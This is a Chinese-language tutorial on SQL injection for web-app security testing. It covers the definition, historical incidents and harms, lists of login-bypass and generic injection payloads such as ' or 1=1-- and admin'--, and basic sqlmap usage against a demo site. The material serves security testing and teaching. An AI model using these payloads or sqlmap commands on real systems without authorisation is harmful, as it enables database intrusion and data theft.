SQL Injection(SQL注入)
背景
在进行Web端APP测试中,对于数值型用户登录框,存在安全性测试的需求场景。
定义
SQL Injection——SQL注入攻击是目前web应用网络攻击中最常见的手段之一,安全风险较高
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。
而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。
如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

但凡使用数据库开发的应用系统,就可能存在SQL注入攻击的媒介。
自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。
2011年美国国土安全局,Mitre和SANA研究所将SQL注入作为第一危险的安全漏洞。至今,SQL注入仍然是首要的难以修复的安全威胁漏洞(数据库生产厂商难以通过维护数据库自身功能或提高数据库安全策略来防范SQL注入)。
2012年,Barclaycard的一个代表声称97%的数据泄露都是由SQL注入引起的。2011年年末和2012年年初,在不到一个月的时间里,超过百万的网页遭受到SQL注入攻击。2008年见证了由于SQL注入引起的经济失调。甚至在2010年秋季,联合国官方网站也遭受SQL注入攻击。
2014年一个叫“TeamDigi7al”的黑客组织攻击了美国海军的一个名为“Smart Web Move”的web应用。此次事件直接造成美国海军数据库超过22万服役人员的个人信息被泄露。而事后,美国海军动用了超过50万美元来弥补此次的数据泄密事故。
在日本电话电报公司集团(NTT)发布的2014全球威胁情报的报告中提出了一个惊人的数字——“企业对一次小规模SQL注入攻击的平均善后开支,通常超过19.6万美元。
危害
获取web网站数据库,数据泄露
用户数据被非法买卖
危害web应用安全
注入方式
手动注入
查找注入点
输入sql常用注入组合语法,进行注入
1. 通用SQL注入
' or 1=1--
" or 1=1--
' or 'a'='a
" or "a"="a
' or 1=1#
" or 1=1#
' or 1=1/*
" or 1=1/*
' or '1'='1
" or "1"="1
2. 登录绕过
admin'--
admin' or 1=1--
admin' or 'a'='a
admin' or 1=1#
admin' or 1=1/*
admin' or '1'='1
admin' or 'x'='x
admin' or 1=1;--
admin') or 1=1--
admin' or 1=1;#
3. 密码重置
' or 1=1--
" or 1=1--
' or 'a'='a
" or "a"="a
' or 1=1#
" or 1=1#
' or 1=1/*
" or 1=1/*
' or '1'='1工具注入
扫描注入点
自动尝试各种组合语法
sqlmap
sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。支持对现在市场主流的DBMS系统的渗透操作,如支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase等,相比手工的渗透测试,使用sqlmap效率普遍更高。
sqlmap支持6种常见的注入类型
基于布尔的盲注,即可以根据返回页面判断条件真假的注入
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
联合查询注入,可以使用union的情况下的注入
堆查询注入,可以同时执行多条语句的执行时的注入
sqlmap解压就可以使用,不需要安装。

python sqlmap.py -u URL-u为基础参数,后跟需要测试的url,通常是GET类型注入的必备参数
python sqlmap.py -u URL --batch使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
栗子
http://www.testfire.net/login.jsp
